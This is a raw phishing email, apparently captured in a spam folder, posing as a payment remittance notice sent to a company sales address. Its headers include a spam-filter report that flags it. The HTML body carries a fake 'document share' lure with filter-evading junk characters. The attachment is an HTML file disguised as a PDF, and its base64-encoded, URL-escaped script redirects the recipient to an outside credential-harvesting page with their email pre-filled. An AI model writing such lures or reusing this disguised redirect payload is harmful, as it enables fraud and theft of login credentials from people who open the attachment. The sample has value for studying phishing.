Return-Path: Delivered-To: abonet+spam@sand163.sitesanctuary.org Received: from sand163.sitesanctuary.org by sand163.sitesanctuary.org with LMTP id qKU1GJeWMGcUFAsAfhI6Ng (envelope-from ) for ; Sun, 10 Nov 2024 11:18:47 +0000 Return-path: Envelope-to: sales@growthtrading.net Delivery-date: Sun, 10 Nov 2024 11:18:47 +0000 Received: from [154.216.20.182] (port=62640 helo=gmail.com) by sand163.sitesanctuary.org with esmtp (Exim 4.98) (envelope-from ) id 1tA5xu-0000000334d-2L3u for sales@growthtrading.net; Sun, 10 Nov 2024 11:18:47 +0000 From: Account Payables/Credit Control Unit To: sales@growthtrading.net Date: 10 Nov 2024 03:17:35 -0800 Message-ID: <20241110031734.4A4D7CD56CEDEB17@gmail.com> MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="----=_NextPart_000_0012_74AD8EDA.319C39C2" X-Spam-Status: Yes, score=12.6 X-Spam-Score: 126 X-Spam-Bar: ++++++++++++ X-Spam-Report: Spam detection software, running on the system "sand163.sitesanctuary.org", has identified this incoming email as possible spam. The original message has been attached to this so you can view it or label similar future email. If you have any questions, see root\@localhost for details. Content preview: New Page 3 Share262549F652i576074l69416e658 message: Content analysis details: (12.6 points, 5.0 required) pts rule name description ---- ---------------------- -------------------------------------------------- 1.2 RCVD_IN_BL_SPAMCOP_NET RBL: Received via a relay in bl.spamcop.net [Blocked - see ] 0.0 DKIM_ADSP_CUSTOM_MED No valid author signature, adsp_override is CUSTOM_MED 1.5 SPF_SOFTFAIL SPF: sender does not match SPF record (softfail) 1.5 SPF_HELO_SOFTFAIL SPF: HELO does not match SPF record (softfail) 0.0 KAM_DMARC_STATUS Test Rule for DKIM or SPF Failure with Strict Alignment 0.2 KAM_DMARC_NONE DKIM has Failed or SPF has failed on the message and the domain has no DMARC policy 0.0 RCVD_IN_VALIDITY_RPBL_BLOCKED RBL: ADMINISTRATOR NOTICE: The query to Validity was blocked. See https://knowledge.validity.com/hc/en-us/articles/20961730681243 for more information. [154.216.20.182 listed in bl.score.senderscore.com] 0.0 FREEMAIL_FROM Sender email is commonly abused enduser mail provider [pa5417183(at)gmail.com] 1.0 FORGED_GMAIL_RCVD 'From' gmail.com does not match 'Received' headers 0.2 FREEMAIL_ENVFROM_END_DIGIT Envelope-from freemail username ends in digit [pa5417183(at)gmail.com] 0.0 HTML_FONT_LOW_CONTRAST BODY: HTML font color similar or identical to background 0.0 HTML_MESSAGE BODY: HTML included in message 0.1 MIME_HTML_ONLY BODY: Message only has text/html MIME parts 0.0 HTML_EXTRA_CLOSE BODY: HTML contains far too many close tags 2.0 RDNS_NONE Delivered to internal network by a host with no rDNS 3.5 PHISH_ATTACH Attachment filename suspicious, probable phishing 0.0 T_HTML_ATTACH HTML attachment to bypass scanning? 0.0 NORDNS_LOW_CONTRAST No rDNS + hidden text 0.0 SPOOFED_FREEMAIL_NO_RDNS From SPOOFED_FREEMAIL and no rDNS 1.2 NML_ADSP_CUSTOM_MED ADSP custom_med hit, and not from a mailing list 0.0 RCVD_IN_VALIDITY_SAFE_BLOCKED RBL: ADMINISTRATOR NOTICE: The query to Validity was blocked. See https://knowledge.validity.com/hc/en-us/articles/20961730681243 for more information. [154.216.20.182 listed in sa-accredit.habeas.com] 0.0 RCVD_IN_VALIDITY_CERTIFIED_BLOCKED RBL: ADMINISTRATOR NOTICE: The query to Validity was blocked. See https://knowledge.validity.com/hc/en-us/articles/20961730681243 for more information. [154.216.20.182 listed in sa-trusted.bondedsender.org] 0.0 SPOOFED_FREEMAIL No description available. 0.0 SPOOF_GMAIL_MID From Gmail but it doesn't seem to be... X-Spam-Flag: YES Subject: ***SPAM*** Remittance attached - Invoice has been paid This is a multi-part message in MIME format. ------=_NextPart_000_0012_74AD8EDA.319C39C2 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable New Page 3 Share26= 2549F652i576074l69416e658 message:=20

We have paid you for the  invoice. Chec= k with your bank to confirm that you have received payment. Do revert back = on this, please.

Thanks for your usual cooperation.

To ( sales@growthtrading.net )

Share347151F782i953384l8= 5642e553 Attachments  
   
MT103_remittance_details_511570461767.pdf 45.61 KB
Do748422wn9814= 8715load At437ta1724ch28986659me73658nt30287469s
=
Perfecthaulage uses Share5= 61909F710i261712l37317e780 to share documents securely.
------=_NextPart_000_0012_74AD8EDA.319C39C2 Content-Type: text/html; name="MT103 remittance details 511570461767.pdf.html" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="MT103 remittance details 511570461767.pdf.html" PHNjcmlwdD4NCjwhLS0gamhoYnZmZ3R5ZjQ2dHJmdGd5aHVra2tqaHVqaWtqdWogLS0+DQpk b2N1bWVudC53cml0ZSh1bmVzY2FwZSgnJTNDJTIxRE9DVFlQRSUyMGh0bWwlMjBQVUJMSUMl MjAlMjItLy9XM0MvL0RURCUyMFhIVE1MJTIwMS4wJTIwVHJhbnNpdGlvbmFsLy9FTiUyMiUw QSUwQSUyMmh0dHAlM0EvL3d3dy53My5vcmcvVFIveGh0bWwxL0RURC94aHRtbDEtdHJhbnNp dGlvbmFsLmR0ZCUyMiUzRSUwQSUzQ2h0bWwlMjB4bWxucyUzRCUyMiUyMiUzRSUwQSUzQ2hl YWQlM0UlMEElM0NtZXRhJTIwaHR0cC1lcXVpdiUzRCUyMkNvbnRlbnQtVHlwZSUyMiUyMGNv bnRlbnQlM0QlMjJ0ZXh0L2h0bWwlM0IlMjBjaGFyc2V0JTNEaXNvLTg4NTktMSUyMiUyMC8l M0UlMEElM0NtZXRhJTIwaHR0cC1lcXVpdiUzRCUyMlJFRlJFU0glMjJjb250ZW50JTNEJTIy MSUzQnVybCUzRGh0dHBzJTNBLy9iZHNnLXNmLmNvbS9tYy5odG1sJTNGZW1haWwlM0QnKSk7 DQo8L3NjcmlwdD5zYWxlc0Bncm93dGh0cmFkaW5nLm5ldCI+DQo8dGl0bGU+VW50aXRsZWQg RG9jdW1lbnQ8L3RpdGxlPg0KPC9oZWFkPg0KDQo8Ym9keT4NCg0KPC9ib2R5Pg0KPC9odG1s Pg== ------=_NextPart_000_0012_74AD8EDA.319C39C2--